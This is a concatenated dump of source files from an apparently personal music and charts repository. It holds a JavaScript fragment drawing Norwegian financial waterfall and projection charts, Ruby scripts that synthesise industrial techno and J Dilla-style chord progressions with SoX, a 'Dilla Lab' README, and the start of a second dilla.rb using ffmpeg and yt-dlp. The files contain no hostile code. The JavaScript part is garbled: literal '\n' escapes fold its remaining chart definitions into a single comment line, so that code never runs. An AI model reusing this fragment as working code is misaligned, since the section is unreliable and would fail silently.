                    interval: 0,
                    rotate: 0,
                    fontSize: 11
                }
            },
            yAxis: {
                type: 'value',
                name: 'NOK (tusener)',
                axisLabel: {
                    formatter: function(value) {
                        return (value / 1000).toFixed(1) + 'M';
                    }
                }
            },
            series: [
                {
                    name: 'Placeholder',
                    type: 'bar',
                    stack: 'Total',
                    itemStyle: {
                        borderColor: 'transparent',
                        color: 'transparent'
                    },
                    emphasis: {
                        itemStyle: {
                            borderColor: 'transparent',
                            color: 'transparent'
                        }
                    },
                    data: [0, 0, 0, 2500, 5000, 0, 2100, 3900, 5100, 5700, 0]
                },
                {
                    name: 'Kapital',
                    type: 'bar',
                    stack: 'Total',
                    label: {
                        show: true,
                        position: 'top',
                        formatter: function(params) {
                            let val = params.value / 1000;
                            return val > 0 ? val.toFixed(1) + 'M' : '';
                        }
                    },
                    data: [
                        6000,  // Total start
                        2000,  // Innovasjon Norge (green)
                        2500,  // Private (green)
                        1000,  // SPEIS (green)
                        500,   // SkatteFUNN (green)
                        -2100, // FoU cost (red)
                        -1800, // Production cost (red)
                        -1200, // Marketing cost (red)
                        -600,  // Social Impact cost (red)
                        -300,  // Drift cost (red)
                        0      // Rest (gray, calculated)
                    ],
                    itemStyle: {
                        color: function(params) {
                            if (params.dataIndex === 0 || params.dataIndex === 10) return '#808080'; // Gray for total
                            if (params.value > 0) return '#4A7C59'; // Green for income
                            return '#DC2626'; // Red for costs
                        }
                    }
                }
            ]
        });
        // Keep existing Chart.js chart for Financial Projections (compatibility)
        const financeCtx = document.getElementById('financeChart').getContext('2d');
        // Note: Chart.js is still needed for this one legacy chart, but we're transitioning to ECharts\n        // For full ECharts migration, this would be replaced too, but keeping minimal change approach\n\n// Financial Projections Chart (Chart.js - keeping for backward compatibility)\n        const financeChart = new Chart(financeCtx, {\n            type: 'bar',\n            data: {\n                labels: ['År 1', 'År 2', 'År 3'],\n                datasets: [\n                    {\n                        label: 'Omsetning (MNOK)',\n                        data: [5, 12, 25],\n                        backgroundColor: '#8a2be2',\n                    },\n                    {\n                        label: 'Netto Resultat (MNOK)',\n                        data: [-1, 2, 6],\n                        backgroundColor: '#333333',\n                    },\n                    {\n                        label: 'Donerte sko (antall)',\n                        data: [2500, 6000, 12500],\n                        backgroundColor: '#ff007f',\n                        yAxisID: 'y1'\n                    }\n                ]\n            },\n            options: {\n                scales: {\n                    y: { beginAtZero: true },\n                    y1: {\n                        type: 'linear',\n                        display: true,\n                        position: 'right',\n                        grid: { drawOnChartArea: false }\n                    }\n                },\n                plugins: {\n                    title: { display: true, text: 'Økonomiske Prognoser og Samfunnsimpakt' },\n                    legend: { position: 'bottom' }\n                }\n            }\n        });\n        // Growth Trends Line Chart (Chart.js)\n        const growthCtx = document.getElementById('growthChart').getContext('2d');\n        const growthChart = new Chart(growthCtx, {\n            type: 'line',\n            data: {\n                labels: ['2022', '2023', '2024', '2025'],\n                datasets: [{\n                    label: 'Årlig Vekst (%)',\n                    data: [5, 8, 10, 12],\n                    backgroundColor: 'rgba(138, 43, 226, 0.2)',\n                    borderColor: '#8a2be2',\n                    fill: true,\n                }]\n            },\n            options: {\n                plugins: {\n                    title: { display: true, text: 'Forventet Markedsvekst' }\n                },\n                scales: { y: { beginAtZero: true } }\n            }\n        });\n

burst.rb

#!/usr/bin/env ruby
# frozen_string_literal: true
# Burst - Industrial Techno Generator
#
# Pure SoX synthesis for aggressive Berghain-style industrial techno
# No FluidSynth, no external samples - just raw waveform synthesis
#
# Usage:
#   ruby multimedia/burst.rb                           # Default: industrial/berghain_135bpm.wav
#   ruby multimedia/burst.rb --out custom.wav          # Custom output path
#   ruby multimedia/burst.rb --rate 140                # Custom BPM (default: 135)
#   ruby multimedia/burst.rb --bars 8                  # Custom length in bars (default: 16)

require "fileutils"
require "optparse"

# CONFIGURATION

# Cross-platform SoX detection (Cygwin/OpenBSD/Linux friendly)
def find_sox
  # Try common locations
  candidates = [
    "sox",                                            # System PATH
    "/usr/local/bin/sox",                             # OpenBSD
    "/usr/bin/sox",                                   # Linux
    File.join(__dir__, "dilla", "effects", "sox", "sox.exe"),  # Cygwin relative
    "G:/pub/dilla/effects/sox/sox.exe"                # Absolute Cygwin
  ]

  candidates.each do |path|
    if system("which #{path} > /dev/null 2>&1") || File.exist?(path)
      return path
    end
  end

  # Fallback to system sox
  "sox"
end

SOX = find_sox

# OPTIONS PARSING

options = {
  output: "industrial/berghain_135bpm.wav",
  rate: 135,
  bars: 16
}

OptionParser.new do |opts|
  opts.banner = "Usage: ruby multimedia/burst.rb [options]"

  opts.on("--out FILE", "Output file path (default: industrial/berghain_135bpm.wav)") do |v|
    options[:output] = v
  end

  opts.on("--rate BPM", Integer, "Tempo in BPM (default: 135)") do |v|
    options[:rate] = v
  end

  opts.on("--bars N", Integer, "Length in bars (default: 16)") do |v|
    options[:bars] = v
  end

  opts.on("-h", "--help", "Show this help message") do
    puts opts
    exit
  end
end.parse!

OUTPUT_FILE = options[:output]
TEMPO = options[:rate]
BARS = options[:bars]

# UTILITIES

def sox(cmd)
  full_cmd = "#{SOX} #{cmd}"
  success = system(full_cmd)
  unless success
    puts "Warning: SoX command failed: #{full_cmd}"
  end
  success
end

def cleanup(*files)
  files.each do |f|
    next unless File.exist?(f)
    3.times do
      begin
        File.delete(f)
        break
      rescue Errno::EBUSY, Errno::EACCES
        sleep 0.1
      end
    end
  end
end

# DRUM SYNTHESIS - INDUSTRIAL STYLE

def make_industrial_kick
  # Heavy, distorted 909-style kick with sub bass
  sox("-n _kick.wav synth 0.22 sine 50 fade h 0.001 0.22 0.10 overdrive 25 gain -2")
  "_kick.wav"
end

def make_industrial_snare
  # Aggressive snare with metallic ring
  sox("-n _snare.wav synth 0.15 noise lowpass 5000 highpass 300 fade h 0.001 0.15 0.05 overdrive 20 gain -4")
  "_snare.wav"
end

def make_industrial_hat
  # Sharp closed hi-hat
  sox("-n _hat.wav synth 0.05 noise highpass 8000 fade h 0.001 0.05 0.015 gain -10")
  "_hat.wav"
end

def make_industrial_clap
  # Double-hit industrial clap
  sox("-n _clap1.wav synth 0.08 noise lowpass 3000 highpass 800 fade h 0.001 0.08 0.03 gain -8")
  sox("-n _clap2.wav synth 0.08 noise lowpass 3000 highpass 800 fade h 0.001 0.08 0.03 gain -10")
  sox("_clap2.wav _clap2_delayed.wav pad 0.015 0")
  sox("_clap1.wav _clap2_delayed.wav _clap.wav")
  cleanup("_clap1.wav", "_clap2.wav", "_clap2_delayed.wav")
  "_clap.wav"
end

def make_industrial_tom
  # Low tom hit for fills
  sox("-n _tom.wav synth 0.18 sine 80 fade h 0.001 0.18 0.08 overdrive 12 gain -5")
  "_tom.wav"
end

# PATTERN GENERATION - BERGHAIN STYLE

def generate_industrial_techno(tempo, bars)
  beat_sec = 60.0 / tempo
  bar_sec = beat_sec * 4
  total_sec = bar_sec * bars

  puts "Generating industrial techno pattern..."
  puts "  Tempo: #{tempo} BPM"
  puts "  Length: #{bars} bars (#{total_sec.round(2)}s)"

  # Create samples
  kick = make_industrial_kick
  snare = make_industrial_snare
  hat = make_industrial_hat
  clap = make_industrial_clap
  tom = make_industrial_tom

  # Four-on-the-floor kick pattern
  kick_seq = []
  bars.times do |bar|
    4.times do |beat|
      offset = bar * bar_sec + beat * beat_sec
      sox("#{kick} _k#{bar}_#{beat}.wav pad #{offset} 0")
      kick_seq << "_k#{bar}_#{beat}.wav"
    end
  end

  # Snare/clap on 2 and 4
  snare_seq = []
  bars.times do |bar|
    base = bar * bar_sec
    # Beat 2 (snare)
    sox("#{snare} _s#{bar}_2.wav pad #{base + beat_sec * 1} 0")
    snare_seq << "_s#{bar}_2.wav"
    # Beat 4 (clap layered with snare)
    sox("#{snare} _s#{bar}_4a.wav pad #{base + beat_sec * 3} 0 gain -1")
    sox("#{clap} _s#{bar}_4b.wav pad #{base + beat_sec * 3} 0")
    snare_seq << "_s#{bar}_4a.wav"
    snare_seq << "_s#{bar}_4b.wav"
  end

  # Hi-hat on every 16th note with dynamics
  hat_seq = []
  bars.times do |bar|
    16.times do |sixteenth|
      offset = bar * bar_sec + sixteenth * (beat_sec / 4)
      # Accent on beats and 16th note 8 (offbeat)
      dyn = if sixteenth % 4 == 0
              -2  # On-beat accent
            elsif sixteenth == 8
              -3  # Mid-bar accent
            else
              -8  # Ghost notes
            end
      sox("#{hat} _h#{bar}_#{sixteenth}.wav pad #{offset} 0 gain #{dyn}")
      hat_seq << "_h#{bar}_#{sixteenth}.wav"
    end
  end

  # Add tom fills every 4 bars
  tom_seq = []
  (bars / 4).times do |section|
    bar = section * 4 + 3  # Last bar of each 4-bar section
    base = bar * bar_sec
    # Triple tom hit leading into next section
    [3.0, 3.5, 3.75].each_with_index do |beat_pos, idx|
      offset = base + beat_pos * beat_sec
      sox("#{tom} _t#{bar}_#{idx}.wav pad #{offset} 0 gain -3")
      tom_seq << "_t#{bar}_#{idx}.wav"
    end
  end

  puts "Mixing layers..."

  # Mix individual layers with padding
  sox("-m #{kick_seq.join(' ')} _kicks.wav pad 0 #{total_sec}")
  sox("-m #{snare_seq.join(' ')} _snares.wav pad 0 #{total_sec}")
  sox("-m #{hat_seq.join(' ')} _hats.wav pad 0 #{total_sec}")
  sox("-m #{tom_seq.join(' ')} _toms.wav pad 0 #{total_sec}") unless tom_seq.empty?

  # Final master with industrial processing
  layers = ["_kicks.wav", "_snares.wav", "_hats.wav"]
  layers << "_toms.wav" if File.exist?("_toms.wav")

  puts "Mastering..."

  # Aggressive mastering chain for industrial sound
  sox("-m #{layers.join(' ')} _premix.wav gain -n -1")
  sox("_premix.wav _compressed.wav compand 0.01,0.15 -60,-60,-20,-15,-10,-10,0,-6 -3 0 0.02")
  sox("_compressed.wav _eq.wav equalizer 60 1q +4 equalizer 120 0.7q +2 equalizer 8000 1.5q +3")
  sox("_eq.wav _final.wav overdrive 8 gain -n -1")

  # Ensure output directory exists
  output_dir = File.dirname(OUTPUT_FILE)
  FileUtils.mkdir_p(output_dir) unless output_dir == "." || File.exist?(output_dir)

  # Final output
  sox("_final.wav #{OUTPUT_FILE}")

  # Cleanup
  cleanup(*kick_seq, *snare_seq, *hat_seq, *tom_seq)
  cleanup("_kicks.wav", "_snares.wav", "_hats.wav", "_toms.wav")
  cleanup("_premix.wav", "_compressed.wav", "_eq.wav", "_final.wav")
  cleanup(kick, snare, hat, clap, tom)

  puts "\n[+] Generated: #{OUTPUT_FILE}"
  puts "  Duration: #{total_sec.round(2)}s (#{bars} bars at #{tempo} BPM)"
end

# MAIN

if __FILE__ == $PROGRAM_NAME
  puts "\n" + ("=" * 70)
  puts "BURST - Industrial Techno Generator"
  puts "=" * 70
  puts ""

  generate_industrial_techno(TEMPO, BARS)

  puts "\n" + ("=" * 70)
  puts "COMPLETE"
  puts "=" * 70
  puts ""
end

dilla.rb

#!/usr/bin/env ruby
# frozen_string_literal: true
# Dilla - J Dilla Music Generation & Playback
# Version: 5.0.0 - Consolidated per master.json (zero sprawl)
#
# Usage:
#   ruby dilla.rb              # Interactive menu
#   ruby dilla.rb --generate   # Generate all audio
#   ruby dilla.rb --play       # Play chords continuously
#   ruby dilla.rb --quick      # Quick generation (5 progressions)

require "json"
require "fileutils"

# CONFIGURATION

BASE_DIR = ENV.fetch("DILLA_DIR") { File.expand_path("~/dilla") }
SOX = %w[sox /usr/local/bin/sox /usr/bin/sox].find { |p| system("which #{p} > /dev/null 2>&1") } || "sox"
CHORDS_DIR = "#{BASE_DIR}/chords"
DRUMS_DIR  = "#{BASE_DIR}/drums"
BASS_DIR   = "#{BASE_DIR}/bass"
FINAL_DIR  = "#{BASE_DIR}/final"

FileUtils.mkdir_p([CHORDS_DIR, DRUMS_DIR, BASS_DIR, FINAL_DIR])

# FM Synthesis FX Presets
FX_PRESETS = {
  warm_tape: "compand 0.3,1 -inf,-70,-60,-20 -5 -90 0.2 reverb 35 50 80 norm -2 dither -s",
  lofi_dream: "compand 0.05,0.2 -inf,-70,-50,-20 -6 -90 0.1 reverb 40 60 90 norm -2 dither -s",
  dilla_butter: "compand 0.1,0.3 -inf,-70,-55,-20 -6 -90 0.15 reverb 30 50 85 norm -2 dither -s",
  analog_lush: "compand 0.2,0.4 -inf,-65,-50,-30 -5 -90 0.18 reverb 45 60 95 norm -2 dither -s"
}

# Hall of Fame Chord Progressions
PROGRESSIONS = {
  dilla_life: {
    name: "J Dilla 'Life'", tempo: 90, duration: 2.0, fx: :dilla_butter,
    chords: [
      { name: 'Bbm9', freqs: [116.54, 174.61, 220.00, 261.63, 329.63] },
      { name: 'C7', freqs: [130.81, 164.81, 196.00, 233.08, 293.66] },
      { name: 'Fm9', freqs: [174.61, 207.65, 261.63, 311.13, 392.00] },
      { name: 'Bbm9', freqs: [116.54, 174.61, 220.00, 261.63, 329.63] }
    ]
  },
  neo_soul: {
    name: "Neo-Soul Classic", tempo: 90, duration: 2.0, fx: :warm_tape,
    chords: [
      { name: 'Cmaj9', freqs: [130.81, 164.81, 196.00, 246.94, 329.63] },
      { name: 'Am11', freqs: [110.00, 164.81, 220.00, 261.63, 329.63] },
      { name: 'Fmaj13', freqs: [174.61, 220.00, 261.63, 329.63, 440.00] },
      { name: 'G13sus', freqs: [196.00, 261.63, 293.66, 392.00, 493.88] }
    ]
  },
  dreamscape: {
    name: "Dilla Dreamscape", tempo: 85, duration: 2.5, fx: :lofi_dream,
    chords: [
      { name: 'Ebmaj9', freqs: [155.56, 196.00, 233.08, 293.66, 369.99] },
      { name: 'Cm9', freqs: [130.81, 155.56, 196.00, 233.08, 293.66] },
      { name: 'Abmaj13', freqs: [207.65, 261.63, 311.13, 415.30, 523.25] },
      { name: 'Bb13sus', freqs: [233.08, 311.13, 349.23, 466.16, 587.33] }
    ]
  },
  floating: {
    name: "Floating Rhodes", tempo: 92, duration: 2.0, fx: :analog_lush,
    chords: [
      { name: 'Dmaj9', freqs: [146.83, 185.00, 220.00, 277.18, 369.99] },
      { name: 'Bm11', freqs: [123.47, 185.00, 246.94, 293.66, 369.99] },
      { name: 'Gmaj9#11', freqs: [196.00, 246.94, 293.66, 392.00, 493.88] },
      { name: 'A13sus', freqs: [220.00, 293.66, 329.63, 440.00, 554.37] }
    ]
  },
  soulquarian: {
    name: "Soulquarian Butter", tempo: 96, duration: 2.0, fx: :dilla_butter,
    chords: [
      { name: 'Fmaj9', freqs: [174.61, 220.00, 261.63, 329.63, 440.00] },
      { name: 'Dm11', freqs: [146.83, 220.00, 293.66, 349.23, 440.00] },
      { name: 'Bbmaj13', freqs: [233.08, 293.66, 349.23, 466.16, 587.33] },
      { name: 'C13', freqs: [130.81, 164.81, 196.00, 246.94, 329.63] }
    ]
  },
  donut_shop: {
    name: "Donut Shop Dreams", tempo: 82, duration: 2.5, fx: :lofi_dream,
    chords: [
      { name: 'Amaj9', freqs: [110.00, 138.59, 164.81, 207.65, 277.18] },
      { name: 'F#m11', freqs: [92.50, 138.59, 185.00, 220.00, 277.18] },
      { name: 'Dmaj9', freqs: [146.83, 185.00, 220.00, 277.18, 369.99] },
      { name: 'E13sus', freqs: [164.81, 220.00, 246.94, 329.63, 415.30] }
    ]
  },
  slum_village: {
    name: "Slum Village Glow", tempo: 98, duration: 2.0, fx: :warm_tape,
    chords: [
      { name: 'Gmaj9', freqs: [196.00, 246.94, 293.66, 369.99, 493.88] },
      { name: 'Em11', freqs: [164.81, 246.94, 329.63, 392.00, 493.88] },
      { name: 'Cmaj13', freqs: [130.81, 164.81, 196.00, 261.63, 349.23] },
      { name: 'D13sus', freqs: [146.83, 196.00, 220.00, 293.66, 369.99] }
    ]
  },
  ethiojazz: {
    name: "Ethiojazz Nights", tempo: 80, duration: 2.5, fx: :analog_lush,
    chords: [
      { name: 'Dm9(b5)', freqs: [146.83, 174.61, 207.65, 261.63, 329.63] },
      { name: 'Gm11', freqs: [196.00, 293.66, 392.00, 466.16, 587.33] },
      { name: 'Ebmaj7#11', freqs: [155.56, 196.00, 246.94, 311.13, 415.30] },
      { name: 'Am7b13', freqs: [110.00, 130.81, 164.81, 207.65, 261.63] }
    ]
  },
  ahmad_jamal: {
    name: "Ahmad Jamal 'Awakening'", tempo: 88, duration: 2.2, fx: :dilla_butter,
    chords: [
      { name: 'Emaj7', freqs: [164.81, 207.65, 246.94, 311.13] },
      { name: 'G#m7', freqs: [207.65, 246.94, 311.13, 369.99] },
      { name: 'C#m7', freqs: [138.59, 164.81, 207.65, 246.94] },
      { name: 'F#9', freqs: [92.50, 116.54, 138.59, 174.61, 220.00] }
    ]
  },
  isley_brothers: {
    name: "Isley Brothers Style", tempo: 92, duration: 2.0, fx: :analog_lush,
    chords: [
      { name: 'Gbmaj9', freqs: [185.00, 233.08, 277.18, 349.23, 466.16] },
      { name: 'Ebm11', freqs: [155.56, 233.08, 311.13, 369.99, 466.16] },
      { name: 'Abm9', freqs: [207.65, 246.94, 311.13, 369.99, 493.88] },
      { name: 'Db13', freqs: [138.59, 174.61, 207.65, 261.63, 349.23] }
    ]
  }
}

# CORE AUDIO ENGINE

def sox(*args)
  cmd = "\"#{SOX}\" #{args.join(' ')}"
  system(cmd)
end

def cleanup(*files)
  files.each { |f| File.delete(f) rescue StandardError if File.exist?(f) }
end

# FM Synthesis: 3-layer (sawtooth + square + sine)
def generate_chord(freqs, duration, output)
  voices = freqs.each_with_index.map do |freq, i|
    sox("-n saw#{i}.wav synth #{duration} sawtooth #{freq} gain -18")
    sox("-n sqr#{i}.wav synth #{duration} square #{freq} gain -20")
    sox("-n sin#{i}.wav synth #{duration} sine #{freq} gain -16")
    file = "v#{i}.wav"
    sox("-m saw#{i}.wav sqr#{i}.wav sin#{i}.wav #{file}")
    cleanup("saw#{i}.wav", "sqr#{i}.wav", "sin#{i}.wav")
    file
  end
  sox("-m #{voices.join(' ')} #{output}")
  cleanup(*voices)
end

def apply_fx(input, output, preset_name)
  preset = FX_PRESETS[preset_name] || FX_PRESETS[:dilla_butter]
  sox("#{input} #{output} #{preset}")
end

# GENERATION

def generate_chords(quick_mode: false)
  puts "\n🎹 Generating J Dilla Chord Progressions..."
  puts "=" * 60

  progs = quick_mode ? PROGRESSIONS.first(5) : PROGRESSIONS

  progs.each do |key, prog|
    puts "\n#{prog[:name]} (#{prog[:fx]})"

    chord_files = prog[:chords].map.with_index do |chord, i|
      file = "c#{i}.wav"
      generate_chord(chord[:freqs], prog[:duration], file)
      print "  #{chord[:name]}... "
      file
    end
    puts

    sox("#{chord_files.join(' ')} #{chord_files.join(' ')} temp.wav")
    output = "#{CHORDS_DIR}/#{key}.wav"
    apply_fx("temp.wav", output, prog[:fx])
    cleanup("temp.wav", *chord_files)
    puts "  ✓ #{output}"
  end

  puts "\n✓ Generated #{progs.size} progressions"
end

# PLAYBACK

def play_chords_continuous
  chord_files = Dir["#{CHORDS_DIR}/*.wav"].sort

  if chord_files.empty?
    puts "\n⚠️  No chord files found. Generate first with --generate"
    return
  end

  puts "\n🎵 Playing Dilla chords continuously..."
  puts "📂 Files: #{chord_files.size}"
  puts "🔄 Press Ctrl+C to stop\n\n"

  sox("#{chord_files.join(' ')} -t waveaudio -d repeat 999")
end

def play_single_progression(key)
  file = "#{CHORDS_DIR}/#{key}.wav"

  unless File.exist?(file)
    puts "\n⚠️  File not found: #{file}"
    puts "Available progressions: #{PROGRESSIONS.keys.join(', ')}"
    return
  end

  puts "\n🎵 Playing: #{PROGRESSIONS[key][:name]}"
  sox("#{file} -t waveaudio -d")
end

# INTERACTIVE MENU

def show_menu
  puts "\n" + "=" * 60
  puts "🎹 DILLA - J Dilla Music Generator & Player"
  puts "=" * 60
  puts
  puts "1. Generate All Chords (#{PROGRESSIONS.size} progressions, ~5-8 min)"
  puts "2. Generate Quick Test (5 progressions, ~2 min)"
  puts "3. Play All Chords Continuously (loop)"
  puts "4. Play Single Progression"
  puts "5. List Available Progressions"
  puts "6. Exit"
  puts
  print "Choose [1-6]: "
  gets.chomp
end

def list_progressions
  puts "\n📋 Available Progressions:"
  puts "-" * 60
  PROGRESSIONS.each do |key, prog|
    exists = File.exist?("#{CHORDS_DIR}/#{key}.wav") ? "✓" : "✗"
    puts "#{exists} #{key.to_s.ljust(20)} - #{prog[:name]} (#{prog[:tempo]} BPM)"
  end
end

def interactive_mode
  loop do
    choice = show_menu

    case choice
    when "1"
      generate_chords
    when "2"
      generate_chords(quick_mode: true)
    when "3"
      play_chords_continuous
    when "4"
      list_progressions
      print "\nEnter progression key: "
      key = gets.chomp.to_sym
      play_single_progression(key)
    when "5"
      list_progressions
    when "6", "q", "quit", "exit"
      puts "\n👋 Goodbye!"
      exit 0
    else
      puts "\n⚠️  Invalid choice. Try again."
    end
  end
end

# CLI

if __FILE__ == $PROGRAM_NAME
  case ARGV[0]
  when "--generate", "-g"
    generate_chords
  when "--quick", "-q"
    generate_chords(quick_mode: true)
  when "--play", "-p"
    play_chords_continuous
  when "--list", "-l"
    list_progressions
  when "--help", "-h"
    puts <<~HELP
      Dilla - J Dilla Music Generator & Player

      Usage:
        ruby dilla.rb              # Interactive menu
        ruby dilla.rb --generate   # Generate all progressions
        ruby dilla.rb --quick      # Quick test (5 progressions)
        ruby dilla.rb --play       # Play continuously
        ruby dilla.rb --list       # List progressions

      Features:
        - 10 iconic J Dilla chord progressions
        - FM synthesis (sawtooth + square + sine)
        - Hall of Fame FX presets
        - Continuous playback mode
    HELP
  else
    interactive_mode
  end
end

dilla/README.md

# Dilla Lab

`DEPLOY/dilla` is a small audio lab for Dilla-inspired groove sketches, sample cleanup, stem handling, and local render experiments.

## Entrypoints

- `dilla.rb`: main command surface for scan, source capture, stem separation, rhythm/chord study, render, cleanup, grading, and playback helpers.
- `dilla_hiphop.rb`: ffmpeg synthesis of an MPC-style 86 BPM beat.
- `electronium.rb`: safe MIDI-only Raymond Scott / J Dilla Electronium generator inspired by the referenced gist. It requires `midilib` but does not auto-install gems, fetch the network, or shell out to render audio.
- `dilla_lab.html`: browser lab for microtimed pattern sketching.
- `play.html`: static player surface.

## Electronium

Generate a MIDI file:

```sh
ruby DEPLOY/dilla/electronium.rb DEPLOY/dilla/dilla_electronium.mid

Optional knobs:

BPM=84 BARS=16 ruby DEPLOY/dilla/electronium.rb /tmp/dilla.mid

The gist at https://gist.github.com/anon987654321/3831126ddcbc401c10b6c73435f776fe contains two source sketches, dilla_deepseek.rb and dilla_glm.rb. The repo version keeps their core idea, but removes automatic dependency installation and renderer shell commands so the generator is predictable in deploy and audit contexts.

Cleanup Rules

  • Keep generated audio artifacts intentional and named.
  • Do not add auto-installing scripts.
  • Keep external sampling/downloading behind explicit commands in dilla.rb.
  • Prefer MIDI or manifest outputs for reviewable generative experiments.

## `dilla/dilla.rb`
```ruby
#!/usr/bin/env ruby
# frozen_string_literal: true

require "fileutils"
require "json"
require "open3"

ROOT = File.expand_path(__dir__)
SAMPLE_DIR = File.join(ROOT, "samples")
STEM_DIR = File.join(ROOT, "stems")
SAMPLE_CLEAN = File.join(SAMPLE_DIR, "clean_harmonic.wav")
DEFAULT_BPM = 86.0
DEFAULT_BARS = 88
SAMPLE_RATE = 44_100
PITCH_CLASSES = %w[C Db D Eb E F Gb G Ab A Bb B].freeze
PAD_CHORDS = [
  { name: "Fm9", hz: [174.61, 207.65, 261.63, 311.13, 392.00] },
  { name: "Dbmaj9", hz: [138.59, 174.61, 207.65, 261.63, 311.13] },
  { name: "Cm9", hz: [130.81, 155.56, 196.00, 233.08, 293.66] },
  { name: "Ebmaj9", hz: [155.56, 196.00, 233.08, 293.66, 349.23] },
  { name: "Abmaj9", hz: [207.65, 261.63, 311.13, 392.00, 466.16] },
  { name: "Dm9", hz: [146.83, 174.61, 220.00, 261.63, 329.63] },
  { name: "Gm9", hz: [196.00, 233.08, 293.66, 349.23, 440.00] },
  { name: "Bm7b5+9", hz: [123.47, 146.83, 174.61, 220.00, 261.63] },
  { name: "E altered", hz: [164.81, 196.00, 233.08, 293.66, 349.23] },
  { name: "Am9", hz: [110.00, 130.81, 164.81, 196.00, 246.94] },
  { name: "Bbm9", hz: [116.54, 138.59, 174.61, 207.65, 261.63] },
  { name: "Gbmaj9", hz: [92.50, 116.54, 138.59, 174.61, 207.65] },
  { name: "C cluster", hz: [130.81, 138.59, 196.00, 233.08, 311.13] }
].freeze
COMMANDS = %w[scan sweep council debug sample source livestream separate render verify chords clean stems study rhythm melody harmony semantics ears play live bass grade grade_list].freeze
# Analog stock characters — digital signal equivalents of film stock data.
# noise_amp: RMS amplitude of the noise floor (≈tape hiss level)
# sat_drive: tanh waveshaper drive (1.0 = light tube warmth, 3.0 = heavy tape saturation)
# rolloff_hz: high-frequency bandwidth limit (anti-halation backing ↔ tape formulation)
# wow_rate: LFO rate in Hz for pitch modulation (reciprocity failure ↔ capstan speed variance)
# wow_depth: LFO depth [0,1] (tape tension variation)
# warmth_db: low-frequency shelf boost in dB (color temperature ↔ tonal weight)
AUDIO_STOCKS = {
  tape_250:  { noise_amp: 0.003, sat_drive: 1.4, rolloff_hz: 14_500, wow_rate: 0.40, wow_depth: 0.003, warmth_db: 2.5 },
  tape_500:  { noise_amp: 0.006, sat_drive: 2.2, rolloff_hz: 12_500, wow_rate: 0.45, wow_depth: 0.004, warmth_db: 4.0 },
  vinyl:     { noise_amp: 0.009, sat_drive: 1.0, rolloff_hz: 18_000, wow_rate: 0.50, wow_depth: 0.015, warmth_db: 2.0 },
  cassette:  { noise_amp: 0.015, sat_drive: 0.8, rolloff_hz: 10_500, wow_rate: 0.50, wow_depth: 0.025, warmth_db: 1.5 },
  acetate:   { noise_amp: 0.022, sat_drive: 1.1, rolloff_hz:  9_500, wow_rate: 0.80, wow_depth: 0.040, warmth_db: 5.0 },
}.freeze

# Analog grade presets — concept map:
# tape_saturation  ↔ H&D film curve (soft-knee waveshaper)
# analog_noise     ↔ Newson-Delon grain (noise floor with midtone envelope)
# harmonic_bloom   ↔ halation (even-harmonic enrichment, energy bleeding adjacent)
# spectral_warmth  ↔ color temperature EQ
# parallel_compress↔ bleach bypass (parallel NY compression)
# multiband_tone   ↔ split toning / split grade
# wow_flutter      ↔ reciprocity failure (pitch/time modulation)
# vinyl_crackle    ↔ faded print (aging artifacts)
# transient_sharpen↔ micro-contrast (presence boost)
# stereo_width     ↔ chromatic aberration (M/S spread)
GRADE_PRESETS = {
  tape_warm:   { fx: %w[spectral_warmth tape_saturation analog_noise transient_sharpen], stock: :tape_250 },
  tape_hot:    { fx: %w[tape_saturation harmonic_bloom analog_noise multiband_tone],      stock: :tape_500 },
  vinyl_press: { fx: %w[spectral_warmth analog_noise wow_flutter vinyl_crackle],          stock: :vinyl    },
  lo_fi:       { fx: %w[spectral_warmth tape_saturation analog_noise wow_flutter],        stock: :cassette },
  broadcast:   { fx: %w[parallel_compress multiband_tone transient_sharpen],              stock: :tape_250 },
  sp1200:      { fx: %w[tape_saturation analog_noise transient_sharpen],                  stock: :tape_500 },
}.freeze

# J Dilla drunk quantization: deliberate timing displacement from the grid.
# Each hit is offset by ±DRUNK_MAX_MS milliseconds of random swing — the
# characteristic feel of an MPC3000 played slightly loose on purpose.
DRUNK_MAX_MS = 22

CHORD_TEMPLATES = {
  "maj" => [0, 4, 7],
  "min" => [0, 3, 7],
  "7" => [0, 4, 7, 10],
  "maj7" => [0, 4, 7, 11],
  "m7" => [0, 3, 7, 10],
  "m9" => [0, 3, 7, 10, 2],
  "maj9" => [0, 4, 7, 11, 2],
  "sus" => [0, 5, 7],
  "dim" => [0, 3, 6]
}.freeze

def sh!(*command)
  puts ">>> #{command.flatten.join(' ')}"
  abort "failed: #{command.flatten.first}" unless system(*command.flatten.map(&:to_s))
end

def capture(*command)
  Open3.capture3(*command.flatten.map(&:to_s))
end

def tool_available?(name)
  ENV.fetch("PATH", "").split(File::PATH_SEPARATOR).any? { |directory| File.executable?(File.join(directory, name)) }
end

def prompt(label)
  print "#{label}: "
  value = STDIN.gets&.strip
  abort "missing #{label}" if value.nil? || value.empty?
  value
end

def bpm
  (ENV["BPM"] || DEFAULT_BPM).to_f
end

def bars
  (ENV["BARS"] || DEFAULT_BARS).to_i
end

def beat_seconds
  60.0 / bpm
end

def render_seconds
  (beat_seconds * 4.0 * bars).round(3)
end

def chord_expression
  cycle = (PAD_CHORDS.length * 8.0 * beat_seconds).round(4)
  PAD_CHORDS.each_with_index.map do |chord, chord_index|
    start_seconds = chord_index * 8.0 * beat_seconds
    stop_seconds = start_seconds + 8.0 * beat_seconds
    voices = chord[:hz].each_with_index.map do |frequency, voice_index|
      detune = 1.0 + ((voice_index - 2) * 0.0015)
      gain = 0.018 + (voice_index * 0.002)
      "#{gain.round(4)}*sin(2*PI*#{(frequency * detune).round(4)}*t)"
    end.join("+")
    "between(mod(t,#{cycle}),#{start_seconds.round(4)},#{stop_seconds.round(4)})*(#{voices})"
  end.join("+")
end

def scan
  puts JSON.pretty_generate(
    root: ROOT,
    bpm: bpm,
    bars: bars,
    seconds: render_seconds,
    files: {
      ruby: File.exist?(__FILE__),
      html: File.exist?(File.join(ROOT, "dilla.html")),
      clean_harmonic: File.exist?(SAMPLE_CLEAN)
    },
    tools: {
      ffmpeg: tool_available?("ffmpeg"),
      ffprobe: tool_available?("ffprobe"),
      yt_dlp: tool_available?("yt-dlp"),
      demucs: tool_available?("demucs")
    },
    commands: COMMANDS
  )
end

def council
  puts "MASTER council"
  puts "preserve existing command surface"
  puts "separate source capture, demucs, rhythm study, melody study"
  puts "add harmony and semantic texture evidence"
  puts "feed ears metrics into MASTER before aesthetic judgment"
  puts "keep render, clean, stems, chords intact"
end

def source(input = nil, output = nil)
  input ||= prompt("audio path or URL")
  output ||= File.join(SAMPLE_DIR, "source.wav")
  FileUtils.mkdir_p(File.dirname(output))
  return convert_audio(input, output) if File.exist?(input)
  download_track(input, output)
end

